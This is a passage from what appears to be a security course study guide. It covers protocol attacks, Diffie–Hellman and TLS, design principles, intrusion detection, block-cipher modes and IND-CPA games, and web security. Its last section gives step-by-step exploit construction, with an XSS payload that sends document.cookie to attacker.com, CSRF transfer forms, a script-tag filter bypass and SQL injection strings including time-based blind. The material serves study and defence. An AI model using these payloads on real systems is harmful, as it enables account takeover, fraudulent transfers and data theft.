Firmware Rollback	Signed image $\mathrm{Sign}(sk_S, \mathrm{fw}_v)$ lacks version monotonicity check	Attacker replays an older, genuinely signed firmware $\mathrm{fw}_{v_{\text{old}}}$ containing known vulnerabilities.	Include version counter v inside signature $\mathrm{Sign}(sk_S, (\mathrm{fw}_v, v))$; device stores highest installed version $v_{\max}$ and rejects any update with $v \le v_{\max}$.
Missing Context / Payload Binding	Signed proof $\mathrm{Sign}(sk_S, (S, A, \mathrm{OK}, T))$ omits $H(\mathrm{File})$ or recipient B	Malicious A submits benign file F_{clean} to scanner S to obtain valid proof, then sends $(F_{\text{evil}}, \text{proof})$ to B; or C forwards $A \to C$ payment to B.	Bind the exact payload digest and intended principals inside the signature: $\mathrm{Sign}\big(sk_S, (S, A, B, \mathrm{OK}, H(\mathrm{File}), T)\big)$; B verifies H(received file) matches.
Reflection Attack	Shared key K_{AB} with symmetric challenge $A \to B : N_A$, $B \to A : \mathrm{Enc}_{K_{AB}}(N_A)$	Attacker intercepts N_A from A, opens a second session with A claiming to be B, sends N_A as challenge, and uses A's own response $\mathrm{Enc}_{K_{AB}}(N_A)$ to authenticate to A.	Break symmetry inside the cryptographic primitive: include sender/receiver roles $\mathrm{Enc}_{K_{AB}}(B, A, N_A)$ or use distinct unidirectional keys $K_{A\to B} \neq K_{B\to A}$.
Unbound Session Key	Key K negotiated in Phase 1 is not used to MAC/encrypt Phase 2 commands	Attacker lets honest A complete Phase 1 handshake, then injects or modifies Phase 2 commands in cleartext (session hijacking).	Authenticate and/or encrypt every subsequent message under the established session key K (e.g., $\mathrm{MAC}_K(\mathrm{cmd}, \mathrm{seq})$).
Missing Ack / Liveness	Unidirectional transfer without authenticated acknowledgement	Attacker drops message completely; sender cannot distinguish completion from message suppression.	Receiver returns $\mathrm{Sign}(sk_B, (\mathrm{ACK}, A, B, N_A))$ binding the sender's nonce N_A.

5.3 Diffie–Hellman Key Exchange, PKI Trust Models, Denning–Sacco, and TLS

- **Diffie–Hellman (DH) Protocol & Discrete Logarithm Assumption:** Public parameters: large prime q (e.g., 2048-bit) and primitive root (generator) α mod q.

$$\text{Private keys: } X_A, X_B \xleftarrow{\$} \{1, \ldots, q-2\}, \qquad \text{Public keys: } Y_A = \alpha^{X_A} \bmod q, \quad Y_B = \alpha^{X_B} \bmod q,$$

$$\text{Exchange: } A \to B : Y_A, \quad B \to A : Y_B, \qquad \text{Shared Secret: } K_{AB} = (Y_B)^{X_A} \bmod q = (Y_A)^{X_B} \bmod q = \alpha^{X_A X_B} \bmod q.$$

  Computational Diffie–Hellman (CDH) / DDH Hardness: Given $(\alpha, q, \alpha^{X_A} \bmod q, \alpha^{X_B} \bmod q)$, computing or distinguishing $\alpha^{X_A X_B} \bmod q$ from random is infeasible.
- **Man-in-the-Middle (MitM) on Unauthenticated DH:** Because Y_A, Y_B carry no authentication, active attacker Carol (C) picks private exponents X_{C_a}, X_{C_b} with public values $Y_{C_a} = \alpha^{X_{C_a}} \bmod q$ and $Y_{C_b} = \alpha^{X_{C_b}} \bmod q$, executing:

$$A \longrightarrow C : Y_A, \qquad C \longrightarrow B : Y_{C_b}, \qquad B \longrightarrow C : Y_B, \qquad C \longrightarrow A : Y_{C_a}.$$

  Outcome: Alice computes $K_{AC} = (Y_{C_a})^{X_A} \bmod q$ (shared with Carol); Bob computes $K_{BC} = (Y_{C_b})^{X_B} \bmod q$ (shared with Carol). Carol decrypts, inspects/modifies, and re-encrypts all traffic between A and B. **Repair:** Authenticate DH public values using long-term signing keys ($\mathrm{Sign}(sk_A, (A, B, Y_A, N_A))$) backed by CA certificates.
- **Forward Secrecy (PFS):** Compromise of a principal's long-term private key sk_A in the future must **not** expose session keys of past recorded sessions. Ephemeral Diffie–Hellman (DHE/ECDHE, where X_A, X_B are erased after the session) achieves Forward Secrecy; static RSA key transport ($\mathrm{Enc}_{pk_S}(PS)$) does *not*.
- **Denning–Sacco Key Distribution Flaws:** Classic CA-assisted distribution $A \to B : \mathrm{Cert}_A, \mathrm{Cert}_B, \mathrm{Enc}_{sk_A}\big(\mathrm{Enc}_{pk_B}(K_{AB}, T_A)\big)$ fails because the inner ciphertext omits A's identity, letting Bob reuse $\mathrm{Enc}_{sk_A}(\ldots)$ or impersonate Alice to third parties if layers are re-wrapped; furthermore, leaking one predictable session key K compromises related keys.
- **Public-Key Trust Models:**
  - *Certificate Authority (PKI / Hierarchical Chain of Trust):* A CA signs certificate $\mathrm{Cert}_A = \mathrm{Sign}(sk_{\mathrm{CA}}, (A, pk_A, \text{validity}))$. Browsers/OSs pre-install self-signed **Root CA** public keys (part of the TCB); intermediate CAs form a chain Root $\to \mathrm{CA}_1 \to$ Server. Compromise of a trusted CA allows issuing rogue certificates for any domain.
  - *Web of Trust (Decentralized, e.g., PGP):* No central root authority; users maintain keyrings and sign public keys of peers they personally verify, relying on transitive trust paths.
- **Transport Layer Security (TLS) Handshake & Verification Models:**
  1. *ClientHello:* Client B sends 256-bit random nonce R_B and supported cipher suites.
  2. *ServerHello + Certificate:* Server S sends 256-bit random nonce R_S, selected cipher suite, and Cert_S.
  3. *Key Exchange & Master Secret Derivation:* Client verifies Cert_S, establishes premaster secret PS (via $\mathrm{Enc}_{pk_S}(PS)$ in RSA mode, or signed ephemeral DH in DHE/TLS 1.3), and both parties derive directional symmetric keys (C_B, C_S) for encryption and (I_B, I_S) for MACs from (R_B, R_S, PS).
  4. *Finished (Transcript Authentication):* Both parties exchange MACs computed over the entire handshake transcript, detecting any cipher-suite downgrade or MitM tampering; fresh (R_B, R_S) prevent replay.

  Real-World TLS Vulnerabilities & Verification: Downgrade attacks (FREAK/Logjam) force legacy 512-bit export RSA/DH ciphers over unauthenticated handshake negotiation; **Apple `goto fail`** duplicated a `goto` line, bypassing signature verification on ServerKeyExchange; **Heartbleed** over-read server heap memory via unchecked TLS heartbeat length. **Symbolic verification (Tamarin)** models primitives as ideal algebraic black boxes under Dolev–Yao (fast, finds structural logic flaws, misses side channels/bit-level flaws); **Computational verification (EasyCrypt)** proves probabilistic reductions to mathematical hardness assumptions.

6. Security Foundations, Saltzer–Schroeder Principles, Firewalls, and IDS

6.1 Security Properties, Threat Taxonomy, TCB, and Saltzer–Schroeder Principles

- **CIA Triad & Threat Mapping:**

- **Confidentiality:** Protection against unauthorized *disclosure* (read leaks). **Privacy** is distinct: it governs information *about individuals*, including consent, context, and metadata (even when message content is confidential).
- **Integrity:** Protection against unauthorized *modification*, *deception* (falsified data), and *usurpation* (unauthorized control); ensures system state and outputs conform to specification.
- **Availability:** Protection against *loss of use* (**disruption / denial of service**); ensures authorized principals can access resources within operational time bounds.

- **Accountability ("Gold Standard"):** Binds principals to actions via three pillars: **Authentication** (proving a claimed identity/attribute to a verifier; distinct from *identification*, which locates an unknown principal in a population), **Authorization** (access control governing permitted operations, meaningless without prior authentication), and **Audit** (tamper-evident logging for post-incident attribution).
- **Trust, Trustworthiness, and Trusted Computing Base (TCB): Trust** is an assumption that a component behaves according to policy; **trustworthy** means backed by objective evidence/verification. The **TCB** is the minimal subset of hardware, firmware, and software (e.g., CPU, hypervisor, OS kernel, reference monitor, SSH daemon, root CA store) whose failure compromises system security. **Assurance** reduces whole-system security to TCB correctness.
- **Defensive Strategies: Prevent** (block attack execution), **Deter** (increase attacker effort/risk), **Deflect** (make alternative targets or honeypots more attractive), **Mitigate** (limit blast radius/damage), **Detect** (monitor during/after attack), **Recover** (restore state via backups/rollbacks).

Design Principle	Exact Operational Definition	Canonical Violation / Contrast Boundary
Least Privilege	Every subject/process operates with the minimal set of privileges needed to complete its current task (fine-grained rights, privilege attenuation).	Granting all students write access to all course pages, or running a web server as `root`. (*Contrast:* About **who gets which rights**, not mechanism complexity.)
Economy of Mechanism	Keep the security mechanism and TCB as **simple and small** as possible (KISS principle) so it can be audited and verified.	Bloated security kernels or complex policy engines. (*Contrast:* About **mechanism simplicity/size**, not over-privileged users.)
Fail-Safe Defaults	Default access decision is **deny**; policies enumerate permitted actions (**allowlists**), never prohibited ones (**denylists**); errors abort safely.	Blacklist input filters (XSS/firewall denylists) or failing open on authentication timeout.
Complete Mediation	The reference monitor intercepts and checks **every** access to **every** object without caching unchecked permissions across state changes.	Checking file permissions only at `open()` and not re-checking on subsequent `read()`/`write()` after revocation (TOCTOU).
Open Design (Kerckhoffs' Principle)	Security must depend solely on the secrecy of keys/passwords, **never on the secrecy of the algorithm or design** (no security through obscurity).	Proprietary secret hash/cipher algorithms whose compromise breaks all users simultaneously.
Separation of Privilege (Separation of Duty)	Require **two or more independent keys, factors, or principals** to collude before authorizing a sensitive operation.	Single-administrator approval for root key issuance, or using two items from the *same* authentication factor category (password + PIN).
Least Common Mechanism	Minimize shared state, shared caches, and shared communication channels between distinct security domains.	Co-resident VMs sharing an unpartitioned CPU L1/LLC data cache (enabling Prime+Probe side channels) or shared `/tmp` directories.
Psychological Acceptability	Security interfaces must align with user mental models and impose minimal friction; unusable security gets bypassed.	Onerous password composition + forced monthly rotation (drives users to sticky notes or `Pass1`→`Pass2`), or habitual warning popups.
Defense in Depth	Layer multiple independent security mechanisms (e.g., firewall + input sanitization + canary + ASLR + least-privilege sandbox) so a single bypass is not fatal.	Relying solely on a perimeter firewall with unpatched, root-privileged internal services.

6.2 Firewalls, Intrusion Detection Systems (IDS), Base-Rate Fallacy, and Isolation

Mechanism	Inspection Layer	State / Context	Capabilities, Blind Spots & Operational Constraints
Packet-Filtering Firewall	Network / Transport headers (IP, TCP/UDP)	Stateless (per-packet)	Filters solely on header fields (src/dst IP, src/dst port, protocol, interface). **Cannot inspect application payload**; vulnerable to IP spoofing and fragmented packets.
Stateful Firewall	L3/L4 headers + connection table	Tracks active TCP streams	Allows inbound packets only if they match an established connection in the state table; still does not parse application-layer syntax.
Application Gateway / DPI	Full L7 payload (HTTP, DNS, SMTP)	Full proxy / deep packet inspection	Parses application protocol and blocks malicious payloads, **except when traffic is end-to-end encrypted (TLS/HTTPS)** unless the proxy terminates TLS with a trusted certificate.
Network IDS (NIDS)	Wire traffic at network tap/switch	Passive network monitor	Cheap, covers entire subnet without host overhead; fails on encrypted traffic (TLS) and suffers **evasion / inconsistent interpretation** (TTL tricks, overlapping TCP segments seen differently by NIDS vs. endpoint OS).
Host IDS (HIDS)	OS syscalls, logs, filesystem on host	Local endpoint agent	Sees decrypted traffic and exact OS state; no inconsistent-interpretation ambiguity, but adds per-host overhead and can be disabled if attacker gains root on the host.

IDS Detection Models, Confusion Metrics, and the Base-Rate Fallacy:

- **Signature (Misuse) vs. Anomaly (Statistical) Detection: Signature-based IDS** matches known attack patterns (low false-positive rate FPR, but **zero-day attacks are missed** $\implies$ high false-negative risk on novel attacks). **Anomaly-based IDS** flags deviations from a learned benign baseline (can detect novel/zero-day attacks, but suffers high FPR whenever legitimate behavior shifts).
- **Confusion Matrix Rates & Base-Rate Fallacy (Bayes' Theorem):** Let A be a real attack event (prior base rate $p = \Pr(A) \ll 1$) and $+$ be an IDS alarm:

$$\mathrm{TPR} = \Pr(+ \mid A) = 1 - \mathrm{FNR}, \qquad \mathrm{FPR} = \Pr(+ \mid \neg A), \qquad \Pr(A \mid +) = \frac{\mathrm{TPR} \cdot p}{\mathrm{TPR} \cdot p + \mathrm{FPR} \cdot (1-p)}.$$

  Operational Consequence: Total false alarms equal $\mathrm{FPR} \times N_{\text{benign}}$. When attacks are rare ($N_{\text{attack}} \ll N_{\text{benign}}$), even an extremely accurate detector (e.g., $\mathrm{FPR} = 0.01\% = 10^{-4}$ over 10^7 benign events/day $\implies$ 1,000 false alarms/day vs. 5 real attacks) yields $\Pr(A \mid +) \ll 1$. Thus an overwhelming flood of false alarms does *not* imply the vendor lied about the 0.01% FPR; it is a mathematical consequence of the small base rate p.
- **System Isolation Hierarchy & Verification Semantics:**

- *OS Processes vs. Containers vs. Virtual Machines:* **Processes** isolate virtual address spaces via CPU MMU/page tables; **Containers** (namespaces/cgroups) virtualize user-space views but **share the single host OS kernel** (a kernel vulnerability escapes all containers); **Hypervisor VMs** virtualize hardware beneath separate guest kernels (smaller, simpler hypervisor TCB, though still exposed to cross-VM hardware side channels like LLC Prime+Probe and Rowhammer).
- *Testing / Fuzzing vs. Static Analysis vs. Formal Verification:* **Testing/Fuzzing** executes concrete inputs to demonstrate the *presence* of bugs (sound for bug-finding, cannot prove absence); **Static Analysis** inspects code without execution (scales well, subject to false positives/undecidability); **Formal Verification** mathematically proves specification compliance for all inputs, bounded by the *validity of the formal model's assumptions* (e.g., symbolic models abstract away timing and bit-flips).

7. Symmetric Encryption, Block-Cipher Modes of Operation, and IND-CPA

7.1 Symmetric Ciphers, One-Time Pad, Block Ciphers (PRP), and Standard Modes

A symmetric encryption scheme $\Pi = (\text{KeyGen}, \text{Enc}, \text{Dec})$ over key space $\{0,1\}^k$ and block/message space satisfies **correctness** if $\text{Dec}_K(\text{Enc}_K(M)) = M$ for all K, M.

- **One-Time Pad (OTP):** For $M, K \in \{0,1\}^n$, $\text{Enc}_K(M) = K \oplus M$ and $\text{Dec}_K(C) = K \oplus C$ (since $K \oplus (K \oplus M) = M$). Achieves **perfect information-theoretic secrecy** ($\Pr[\text{Eve guesses } b] = 1/2$) when K is uniform, as long as $|M|$, and used **once**. Reusing K across M_1, M_2 leaks $C_1 \oplus C_2 = M_1 \oplus M_2$ and fails IND-CPA immediately.
- **Block Cipher (Pseudorandom Permutation — PRP):** A deterministic, keyed bijective family $E_K : \{0,1\}^n \to \{0,1\}^n$ with inverse $D_K : \{0,1\}^n \to \{0,1\}^n$ satisfying $D_K(E_K(X)) = X$ and $E_K(D_K(Y)) = Y$ for all $X, Y \in \{0,1\}^n$ (AES: $n = 128$ bits, $k \in \{128, 192, 256\}$ bits). Without K, E_K is computationally indistinguishable from a uniform random permutation π, and flipping ≥ 1 bit of the input to E_K or D_K flips $\approx 50\%$ of output bits unpredictably (**avalanche effect**). Because raw E_K is deterministic, **no raw block cipher is IND-CPA secure**.

Mode	Encryption Formula	Decryption Formula	Enc / Dec Parallel?	IND-CPA?	Operational Properties & Malleability
ECB	$C_i = E_K(P_i)$	$P_i = D_K(C_i)$	Yes / Yes	**No**	Deterministic: identical plaintext blocks $P_i = P_j \implies C_i = C_j$ (leaks block equality patterns).
CBC	$C_i = E_K(P_i \oplus C_{i-1})$, $C_0 = IV$	$P_i = D_K(C_i) \oplus C_{i-1}$	**No** / **Yes**	**Yes** (random fresh IV)	Requires block padding (**PKCS#7**: pad $p \in \{1..B\}$ bytes each of value p; full B-byte block if aligned). Reused IV leaks equal prefixes.
CTR	$C_i = P_i \oplus E_K(\text{nonce} \,\|\, i)$	$P_i = C_i \oplus E_K(\text{nonce} \,\|\, i)$	**Yes** / **Yes**	**Yes** (unique nonce)	Stream cipher mode: uses *only* E_K (never D_K), needs no padding. Nonce reuse leaks $C_i \oplus C'_i = P_i \oplus P'_i$. Bit-flip on C_i flips exact bit in P_i.

7.2 Algebraic Analysis of Custom Block-Cipher Modes of Operation

Let a custom mode encrypt $P = (P_1, \ldots, P_m)$ using key K and public random initialization vectors $\overrightarrow{IV} = (IV_1, IV_2, \ldots)$, producing ciphertext $(\overrightarrow{IV}, C_1, \ldots, C_m)$ via a general block recurrence:

$$C_i = E_K\big(P_i \oplus M_{\text{in},i}\big) \oplus M_{\text{out},i},$$

where $M_{\text{in},i}$ (inner mask) and $M_{\text{out},i}$ (outer mask) are XOR combinations of $\overrightarrow{IV}$, prior ciphertexts $C_{<i}$, or prior plaintexts $P_{<i}$.

1. Exact Algebraic Decryption Inversion Recipe

To derive the decryption formula for P_i from $C_i = E_K(P_i \oplus M_{\text{in},i}) \oplus M_{\text{out},i}$, apply XOR self-cancellation ($X \oplus X = 0$) and $D_K(E_K(Z)) = Z$ in three algebraic steps:

$$\textbf{(1) Isolate } E_K(\cdot): \quad E_K\big(P_i \oplus M_{\text{in},i}\big) = C_i \oplus M_{\text{out},i}$$
$$\textbf{(2) Invert permutation via } D_K: \quad P_i \oplus M_{\text{in},i} = D_K\big(C_i \oplus M_{\text{out},i}\big)$$
$$\textbf{(3) Isolate } P_i: \quad P_i = D_K\big(C_i \oplus M_{\text{out},i}\big) \oplus M_{\text{in},i}.$$

Special-Case Boundary ($i = 1, 2$): Always write out the explicit base-case formulas for P_1 (and P_2 if $i \geq 3$ is the general recurrence) separately from the general P_i formula.

2. Parallelizability Decision Rules (Encryption vs. Decryption)

- **Encryption Parallelizability:** Encryption **can be parallelized** iff for every i, the encryption formula for C_i depends only on $(P_1, \ldots, P_m)$, $\overrightarrow{IV}$, and block index i, and **does not reference any earlier ciphertext block C_j ($j < i$)**. If C_i depends on C_{i-1}, C_{i-2}, or $\bigoplus_{j=1}^{i-1} C_j$, encryption is strictly **sequential**.
- **Decryption Parallelizability:** When decrypting $(\overrightarrow{IV}, C_1, \ldots, C_m)$, **all ciphertext blocks $C_1, \ldots, C_m$ are already known at the start**. Therefore, decryption **can be parallelized** iff the derived formula for P_i **does not reference any earlier plaintext block P_j ($j < i$)**. (If P_i depends on P_{i-1}, decryption is sequential; if P_i depends only on $C_i, C_{i-1}, \ldots, C_1, \overrightarrow{IV}$, decryption is parallelizable.)

3. Bit-Flip Error Propagation Rules ($C'_k = C_k \oplus 1$)

Suppose an active attacker flips a single bit in ciphertext block C_k (written $C'_k = C_k \oplus 1$, where 1 denotes a 1-bit error mask). Substitute C'_k into the decryption formula for every block P'_j ($j = 1, \ldots, m$):

- **Case A (No Dependence on C_k):** If C_k (and any tainted P'_r) does not appear in the formula for P'_j, then $\mathbf{P'_j = P_j}$ (**unchanged**).
- **Case B (C'_k Enters Inside $D_K(\cdots C'_k \cdots)$):** By the block cipher's avalanche property, changing 1 input bit to D_K scrambles $\approx 50\%$ of its output bits unpredictably: $\mathbf{P'_j}$ = **Garbage** (unpredictable random-looking block).

- **Case C (C'_k Appears Only Outside D_K as a Linear XOR Mask):** If the argument to D_K is untampered and $C'_k = C_k \oplus 1$ is XORed outside D_K an odd number of times, the exact same single bit flips in the recovered plaintext: $\mathbf{P'_j = P_j \oplus 1}$. (If XORed an even number of times, $1 \oplus 1 = 0 \implies P'_j = P_j$.)
- **Case D (Cascaded Plaintext Feedback P'_{j-1}):** If P'_j depends on P'_{j-1} outside D_K (e.g., $P'_j = D_K(C_j) \oplus P'_{j-1}$), substitute the already-determined status of P'_{j-1}: if P'_{j-1} = Garbage, then P'_j = Garbage unless algebraic cancellation removes $D_K(C'_k)$.

7.3 IND-CPA Security Game and Distinguisher Construction

In the **IND-CPA (Indistinguishability under Chosen-Plaintext Attack)** game: (1) adversary Eve may query an encryption oracle $\mathrm{Enc}_K(\cdot)$ on chosen messages; (2) Eve submits two equal-length challenge plaintexts $M_0 = (P_{0,1}, \ldots, P_{0,m})$ and $M_1 = (P_{1,1}, \ldots, P_{1,m})$ ($|M_0| = |M_1|$); (3) the challenger samples $b \xleftarrow{\$} \{0,1\}$ and returns $C^* = \mathrm{Enc}_K(M_b)$; (4) Eve outputs a guess b'. The mode is **IND-CPA secure** iff for every PPT adversary, $\Pr[b' = b] \leq \frac{1}{2} + \mathrm{negl}(k)$.

- **Distinguisher Technique 1 (Deterministic or Reused IV):** If $\overrightarrow{IV}$ is constant, missing, or predictable/reused across messages, the mode is **not IND-CPA secure**: Eve queries $\mathrm{Enc}_K(M_0)$ (or submits M_0, M_1 and compares C^*_1 with a prior encryption sharing the same IV and first block) and wins with probability 1.
- **Distinguisher Technique 2 (Intra-Message Block Collision via Repeated IV Mask):** Even when $\overrightarrow{IV} = (IV_1, IV_2)$ is chosen freshly at random per message, inspect the input X_i to $E_K(X_i)$ across blocks $i = 1, \ldots, m$. If two distinct block positions $i \neq j$ depend on the **exact same random IV combination** without an unpredictable ciphertext block C_r inside E_K (for example, $C_1 = E_K(P_1 \oplus IV_1)$, $C_2 = E_K(P_2 \oplus IV_2)$, $C_3 = E_K(P_3 \oplus IV_1)$):
  1. Eve submits 3-block challenge messages $M_0 = (A, A, A)$ (where $P_{0,1} = P_{0,3} = A$) and $M_1 = (A, A, B)$ with $A \neq B$.
  2. Under M_0, $X_1 = A \oplus IV_1 = X_3 \implies C^*_1 = E_K(A \oplus IV_1) = C^*_3$ with probability 1. Under M_1, $A \neq B \implies X_1 \neq X_3 \implies C^*_1 \neq C^*_3$ (since E_K is a permutation).
  3. Eve outputs $b' = 0$ if $C^*_1 = C^*_3$ and $b' = 1$ otherwise, winning the IND-CPA game with probability $1 > 1/2$.
- **Distinguisher Technique 3 (Cancelable Outer Mask):** If the chaining C_{i-1} or IV sits *outside* E_K, e.g., $C_1 = E_K(P_1) \oplus IV_1$ and $C_2 = E_K(P_2) \oplus C_1$, then $C_1 \oplus C_2 = E_K(P_1) \oplus E_K(P_2) \oplus IV_1$: Eve chooses $M_0 = (A, A)$ (so $E_K(A) \oplus E_K(A) = 0 \implies C^*_1 \oplus C^*_2 = IV_1$) and $M_1 = (A, B)$ ($A \neq B$), testing whether $C^*_1 \oplus C^*_2 \stackrel{?}{=} IV_1$ to win with probability $1 - 2^{-n}$.
- **When Custom Modes ARE IND-CPA Secure:** If fresh uniform IVs mask the first block(s) *inside* E_K and every subsequent block i includes an unpredictable ciphertext block C_{i-1} (or running XOR $C_1 \oplus \cdots \oplus C_{i-1}$) *inside* E_K (e.g., $C_i = E_K(P_i \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus \cdots \oplus C_{i-1})$), Eve cannot predict C_{i-1} before choosing M_0, M_1, so no two E_K inputs can be forced to collide and the mode is **IND-CPA secure**.

Custom Recurrence ($m = 4$, flip in C_2)	**Decryption P_i**	**Enc/Dec Par.**	**Recovered (P'_1, P'_2, P'_3, P'_4)**	**IND-CPA Verdict**
$C_i = E_K(P_i \oplus IV_1 \oplus IV_2 \oplus C_{<i})$	$D_K(C_i) \oplus IV_{1,2} \oplus C_{<i}$	No / **Yes**	(P_1, Garbage, $P_3 \oplus 1$, $P_4 \oplus 1$)	**Secure** (fresh IVs + full inner chain)
$C_1 = E_K(P_1 \oplus IV_1)$, $C_i = E_K(P_i \oplus IV_2) \oplus C_{i-1}$	$D_K(C_i \oplus C_{i-1}) \oplus IV_2$	No / **Yes**	(P_1, Garbage, Garbage, P_4)	**Insecure**: $C_2 \oplus C_1 = C_3 \oplus C_2$ if $P_2 = P_3$
$C_{\text{odd}} = E_K(P_i \oplus IV_1)$, $C_{\text{even}} = E_K(P_i \oplus IV_2)$	$D_K(C_i) \oplus IV_{1 \text{ or } 2}$	**Yes** / **Yes**	(P_1, Garbage, P_3, P_4)	**Insecure**: $M_0 = (A, A, A) \implies C_1 = C_3$

8. Web Application Security: SOP, Cookies, XSS, CSRF, and SQL Injection

8.1 Same-Origin Policy (SOP), Cookie Scope Rules, and Attacker Models

Web security is governed by browser isolation boundaries and stateless HTTP request/response semantics over URLs $U =$ `scheme://domain:port/path?query`.

- **Web Attacker vs. Network Attacker:** A **web attacker** controls malicious origins (e.g., `https://attacker.com`) and induces the victim's browser to visit them or click links, but cannot intercept network packets. A **network attacker** sits on the wire (eavesdropping/modifying unencrypted HTTP traffic; defeated by HTTPS/TLS with `Secure` cookies).
- **DOM Same-Origin Policy (SOP) Origin Triple:**

$$\mathrm{Origin}(U) = \big(\text{scheme},\ \text{domain},\ \text{port}\big), \quad \text{e.g., } \big(\texttt{https},\ \texttt{www.bank.com},\ 443\big).$$

  Two contexts share the same DOM origin iff **all three components match identically**:

$$\mathrm{Origin}(U_1) = \mathrm{Origin}(U_2) \iff (\mathrm{scheme}_1 = \mathrm{scheme}_2) \wedge (\mathrm{domain}_1 = \mathrm{domain}_2) \wedge (\mathrm{port}_1 = \mathrm{port}_2).$$

- **Three Fundamental SOP Execution Rules:**
  1. *Cross-Origin Read Prohibition:* A script executing in origin O_1 **cannot read** the DOM, `document.cookie`, or HTTP response body of any resource belonging to $O_2 \neq O_1$ (unless O_2 explicitly opts in via `CORS` headers or `postMessage`).
  2. *Cross-Origin Script Inclusion Rule:* A script loaded via `<script src="https://attacker.com/evil.js">` inside a page served from $O_{\text{victim}} = (\texttt{https}, \texttt{bank.com}, 443)$ **executes with the embedding page's origin O_{victim}**, not `attacker.com`'s origin.
  3. *Cross-Origin Request Sending Asymmetry:* SOP **does not block sending** cross-origin HTTP requests (e.g., via `<img src="...">`, `<script src="...">`, or `<form action="..." method="POST">`). This asymmetry is the exact root cause of **CSRF**.

Policy / Flag	Matching Tuple / Syntax	Port / Scheme Sensitive?	Exact Browser Enforcement & Security Consequence
DOM SOP	(scheme, domain, port)	**Yes / Yes**	Isolates DOM, JS variables, and `fetch/XHR` response reading. `http://a.com:80` ≠ `https://a.com:443` ≠ `http://sub.a.com:80`.
Cookie Scope	(Domain, Path)	**No** (ignores port)	Browser attaches cookie to request URL U iff cookie's `Domain` is a domain-suffix of host(U) (or exact host match if `Domain` omitted) and `Path` is a prefix of path(U). A page may set cookies for its own host or parent domain (excluding public suffixes like `.com`).
`HttpOnly`	`Set-Cookie: sid=...; HttpOnly`	N/A	Blocks client-side JS from reading/writing the cookie via `document.cookie` (prevents direct XSS cookie theft). **Does not stop CSRF** (browser still attaches cookie to requests) and **does not stop XSS from issuing authenticated same-origin requests**.
`Secure`	`Set-Cookie: sid=...; Secure`	HTTPS only	Browser transmits cookie **only over encrypted HTTPS connections**; prevents network eavesdroppers from stealing the cookie over plain HTTP.
`SameSite=Strict`	`Set-Cookie: sid=...; SameSite=Strict`	Same-site only	Browser **never attaches** the cookie to cross-site requests initiated from external domains (e.g., `attacker.com`), neutralizing classic cross-origin CSRF.

Attack Class	Where Payload Runs	Exploited Trust	Reads Victim Data?	Primary Root-Cause Defense
XSS (Stored / Reflected / DOM)	Victim's browser in Origin(victim)	Browser's trust in server/DOM HTML	**Yes** (DOM, responses, non-`HttpOnly` cookies)	Context-aware output encoding/escaping (`<` → `<`) + **CSP** (`default-src 'self'; script-src ...` blocks inline scripts).
CSRF (Cross-Site Request Forgery)	Victim's browser (initiated from `attacker.com`)	Server's trust in ambient browser cookies	**No** (SOP blocks reading cross-origin response; blind side-effect only)	Unpredictable per-session **anti-CSRF token** inside form/header verified by server + `SameSite` cookies + `Origin/Referer` check.
SQL Injection (SQLi)	Backend database server	DB parser's trust in string-concatenated SQL	**Yes** (via output, boolean count, or `SLEEP` timing)	**Parameterized queries / Prepared statements** (binds user input strictly as literal data, never parsed as SQL command syntax).

8.2 Applied Solution Scheme: Procedural Web Exploit Construction & Defense Analysis

Applied Solution Scheme: 6-Step Web Vulnerability Classification, Payload Synthesis, and Origin/Cookie Verification

Step 1: Classify the Execution Boundary and Target Objective:

- *Execute JS inside* Origin(*victim*) */ Exfiltrate DOM or Cookie:* Select **XSS** (**Stored** if persisted in DB such as profile/comment/album title; **Reflected** if echoed immediately from URL parameter `?msg=`; **DOM-based** if client-side JS sinks `location.href`/`innerHTML` without server echo).
- *Trigger State-Changing Action on `victim.com` When Victim Visits `attacker.com` (No JS Injection on Victim):* Select **CSRF**.
- *Subvert Backend SQL Query Built via String Concatenation `"... '$in' ..."`:* Select **SQL Injection (SQLi)**.

Step 2: Audit Input Sanitization, Cookie Attributes, and Observation Channels:

- *Cookie Flag Gate:* Check `HttpOnly`. If `HttpOnly=false`, XSS reads `document.cookie` and exfiltrates it to `attacker.com`. If `HttpOnly=true`, `document.cookie` is inaccessible to JS; the XSS payload must instead issue a same-origin state-changing request (`fetch('/action', ...)`) directly from the victim's browser.
- *Filter Evasion Check:* If the server applies a single-pass non-recursive string removal `replace("<script>", "")`, construct a nested token `<scr<script>ipt>` so removing the inner `<script>` reassembles `<script>`. If `<script>` is blocked entirely, use an HTML event handler `<img src=x onerror="...">`.
- *SQLi Channel Gate:* Identify string quote delimiter (`'` or `"`), comment token (`-- ` with trailing space, or `#`), and output channel: (i) full rows printed → `UNION SELECT` or tautology `' OR 1=1 -- ` ; (ii) only row count / boolean printed → boolean-inference `' AND <cond> -- ` ; (iii) output completely constant/suppressed → time-based blind `' AND <cond> AND SLEEP(10)=1 -- `.

Step 3: Synthesize the Exact Exploit Payload:

- *XSS Cookie-Theft Payload (`HttpOnly=false`):*

```
<script>fetch("https://attacker.com/steal?c=" + encodeURIComponent(document.cookie));</script>
```

- *CSRF GET Payload (hosted on `https://attacker.com/index.html`):*

```
<img src="https://victim.com/transfer?to=mallory&amount=1000" width="0" height="0">
```

- *CSRF POST Payload (auto-submitted hidden form on `https://attacker.com/index.html`):*

```
<form id="csrf" action="https://victim.com/transfer" method="POST">
    <input type="hidden" name="to" value="mallory">
    <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById("csrf").submit();</script>
```

- *SQLi Payloads (injected into `SELECT ... WHERE col = '$input';`):*

Auth Bypass / All Rows: `' OR 1=1 --` or `admin' --`

Boolean Inference: `validKey' AND targetCol = 'TargetVal' --`

Time-Based Blind SQLi: `validKey' AND targetCol = 'TargetVal' AND SLEEP(10) = 1 --`

Step 4: Trace the Resulting AST / Browser Execution and Verify Origin & Cookie Rules: Write out the exact post-injection SQL query string or HTML DOM tree. Show explicitly how quotes close the preceding literal, how the injected AST node evaluates, and how `--` neutralizes the server's trailing quote. For browser attacks, verify (scheme, domain, port) for DOM SOP and (Domain, Path, `HttpOnly`, `Secure`, `SameSite`) for cookies.

Step 5: State Mandatory Operational Assumptions: For XSS/CSRF: victim has an active authenticated session cookie on `victim.com` (and `SameSite` is not `Strict` for CSRF). For Time-Based Blind SQLi: the database engine uses **left-to-right short-circuit evaluation** of `AND` so `SLEEP(10)=1` executes *if and only if* the preceding conjuncts evaluate to true.

